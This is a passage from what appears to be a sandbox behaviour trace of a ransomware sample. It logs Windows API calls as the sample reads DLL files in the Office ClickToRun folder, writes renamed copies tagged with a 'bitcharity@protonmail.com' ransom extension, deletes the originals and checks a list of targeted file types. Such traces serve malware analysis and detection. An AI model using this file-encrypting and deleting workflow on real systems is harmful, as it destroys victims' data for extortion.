(lpString1=".1cd", lpString2=".dll") returned -1 [0289.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.138] lstrlenW (lpString=".jpg") returned 4 [0289.138] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.138] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.138] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0289.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.138] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=19136) returned 1 [0289.138] CloseHandle (hObject=0x10c4) returned 1 [0289.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0289.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.139] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.139] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.139] GetLastError () returned 0x0 [0289.139] ReadFile (in: hFile=0x10c4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0289.141] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0289.142] ReadFile (in: hFile=0x10c4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0289.142] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x114, lpOverlapped=0x0) returned 1 [0289.143] SetEndOfFile (hFile=0x10c8) returned 1 [0289.143] CloseHandle (hObject=0x10c8) returned 1 [0289.143] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.143] SetEndOfFile (hFile=0x10c4) returned 1 [0289.144] CloseHandle (hObject=0x10c4) returned 1 [0289.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.145] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0289.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.145] lstrlenW (lpString=".doc") returned 4 [0289.145] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.145] lstrlenW (lpString=".docx") returned 5 [0289.145] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.145] lstrlenW (lpString=".pdf") returned 4 [0289.145] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.145] lstrlenW (lpString=".xls") returned 4 [0289.145] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.145] lstrlenW (lpString=".xlsx") returned 5 [0289.145] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.145] lstrlenW (lpString=".ppt") returned 4 [0289.145] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.145] lstrlenW (lpString=".zip") returned 4 [0289.145] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.146] lstrlenW (lpString=".rar") returned 4 [0289.146] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.146] lstrlenW (lpString=".bz2") returned 4 [0289.146] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.146] lstrlenW (lpString=".7z") returned 3 [0289.146] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.146] lstrlenW (lpString=".dbf") returned 4 [0289.146] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.146] lstrlenW (lpString=".1cd") returned 4 [0289.146] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.146] lstrlenW (lpString=".jpg") returned 4 [0289.146] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.146] lstrlenW (lpString=".doc") returned 4 [0289.146] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.146] lstrlenW (lpString=".docx") returned 5 [0289.146] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.146] lstrlenW (lpString=".pdf") returned 4 [0289.146] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.146] lstrlenW (lpString=".xls") returned 4 [0289.146] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.146] lstrlenW (lpString=".xlsx") returned 5 [0289.147] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.147] lstrlenW (lpString=".ppt") returned 4 [0289.147] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.147] lstrlenW (lpString=".zip") returned 4 [0289.147] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.147] lstrlenW (lpString=".rar") returned 4 [0289.147] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.147] lstrlenW (lpString=".bz2") returned 4 [0289.147] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.147] lstrlenW (lpString=".7z") returned 3 [0289.147] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.147] lstrlenW (lpString=".dbf") returned 4 [0289.147] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.147] lstrlenW (lpString=".1cd") returned 4 [0289.147] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0289.147] lstrlenW (lpString=".jpg") returned 4 [0289.147] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.147] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.147] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0289.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.148] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=27840) returned 1 [0289.148] CloseHandle (hObject=0x10c4) returned 1 [0289.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0289.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.148] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.148] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.149] GetLastError () returned 0x0 [0289.149] ReadFile (in: hFile=0x10c4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0289.151] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0289.152] ReadFile (in: hFile=0x10c4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0289.152] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x110, lpOverlapped=0x0) returned 1 [0289.152] SetEndOfFile (hFile=0x10c8) returned 1 [0289.152] CloseHandle (hObject=0x10c8) returned 1 [0289.153] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.153] SetEndOfFile (hFile=0x10c4) returned 1 [0289.154] CloseHandle (hObject=0x10c4) returned 1 [0289.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.154] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0289.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.154] lstrlenW (lpString=".doc") returned 4 [0289.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.154] lstrlenW (lpString=".docx") returned 5 [0289.154] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.154] lstrlenW (lpString=".pdf") returned 4 [0289.155] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.155] lstrlenW (lpString=".xls") returned 4 [0289.155] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.155] lstrlenW (lpString=".xlsx") returned 5 [0289.155] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.155] lstrlenW (lpString=".ppt") returned 4 [0289.155] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.155] lstrlenW (lpString=".zip") returned 4 [0289.155] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.155] lstrlenW (lpString=".rar") returned 4 [0289.155] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.155] lstrlenW (lpString=".bz2") returned 4 [0289.155] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.155] lstrlenW (lpString=".7z") returned 3 [0289.155] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.155] lstrlenW (lpString=".dbf") returned 4 [0289.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.155] lstrlenW (lpString=".1cd") returned 4 [0289.155] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.155] lstrlenW (lpString=".jpg") returned 4 [0289.155] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.156] lstrlenW (lpString=".doc") returned 4 [0289.156] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.156] lstrlenW (lpString=".docx") returned 5 [0289.156] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.156] lstrlenW (lpString=".pdf") returned 4 [0289.156] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.156] lstrlenW (lpString=".xls") returned 4 [0289.156] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.156] lstrlenW (lpString=".xlsx") returned 5 [0289.156] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.156] lstrlenW (lpString=".ppt") returned 4 [0289.156] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.156] lstrlenW (lpString=".zip") returned 4 [0289.156] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.156] lstrlenW (lpString=".rar") returned 4 [0289.156] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.156] lstrlenW (lpString=".bz2") returned 4 [0289.156] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.156] lstrlenW (lpString=".7z") returned 3 [0289.156] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.156] lstrlenW (lpString=".dbf") returned 4 [0289.156] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.156] lstrlenW (lpString=".1cd") returned 4 [0289.156] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0289.156] lstrlenW (lpString=".jpg") returned 4 [0289.156] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.157] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.157] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0289.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.157] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=26816) returned 1 [0289.157] CloseHandle (hObject=0x10c4) returned 1 [0289.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0289.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.157] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.157] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.158] GetLastError () returned 0x0 [0289.158] ReadFile (in: hFile=0x10c4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x68c0, lpOverlapped=0x0) returned 1 [0289.159] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x68d0, lpOverlapped=0x0) returned 1 [0289.160] ReadFile (in: hFile=0x10c4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0289.160] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x11a, lpOverlapped=0x0) returned 1 [0289.160] SetEndOfFile (hFile=0x10c8) returned 1 [0289.160] CloseHandle (hObject=0x10c8) returned 1 [0289.161] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.161] SetEndOfFile (hFile=0x10c4) returned 1 [0289.170] CloseHandle (hObject=0x10c4) returned 1 [0289.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.170] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0289.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.171] lstrlenW (lpString=".doc") returned 4 [0289.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.171] lstrlenW (lpString=".docx") returned 5 [0289.171] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.171] lstrlenW (lpString=".pdf") returned 4 [0289.171] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.171] lstrlenW (lpString=".xls") returned 4 [0289.171] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.171] lstrlenW (lpString=".xlsx") returned 5 [0289.171] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.171] lstrlenW (lpString=".ppt") returned 4 [0289.171] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.171] lstrlenW (lpString=".zip") returned 4 [0289.171] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.171] lstrlenW (lpString=".rar") returned 4 [0289.171] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.171] lstrlenW (lpString=".bz2") returned 4 [0289.171] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.171] lstrlenW (lpString=".7z") returned 3 [0289.171] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.171] lstrlenW (lpString=".dbf") returned 4 [0289.171] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.171] lstrlenW (lpString=".1cd") returned 4 [0289.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.172] lstrlenW (lpString=".jpg") returned 4 [0289.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.172] lstrlenW (lpString=".doc") returned 4 [0289.172] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.172] lstrlenW (lpString=".docx") returned 5 [0289.172] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.172] lstrlenW (lpString=".pdf") returned 4 [0289.172] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.172] lstrlenW (lpString=".xls") returned 4 [0289.172] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.172] lstrlenW (lpString=".xlsx") returned 5 [0289.172] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.172] lstrlenW (lpString=".ppt") returned 4 [0289.172] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.172] lstrlenW (lpString=".zip") returned 4 [0289.172] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.172] 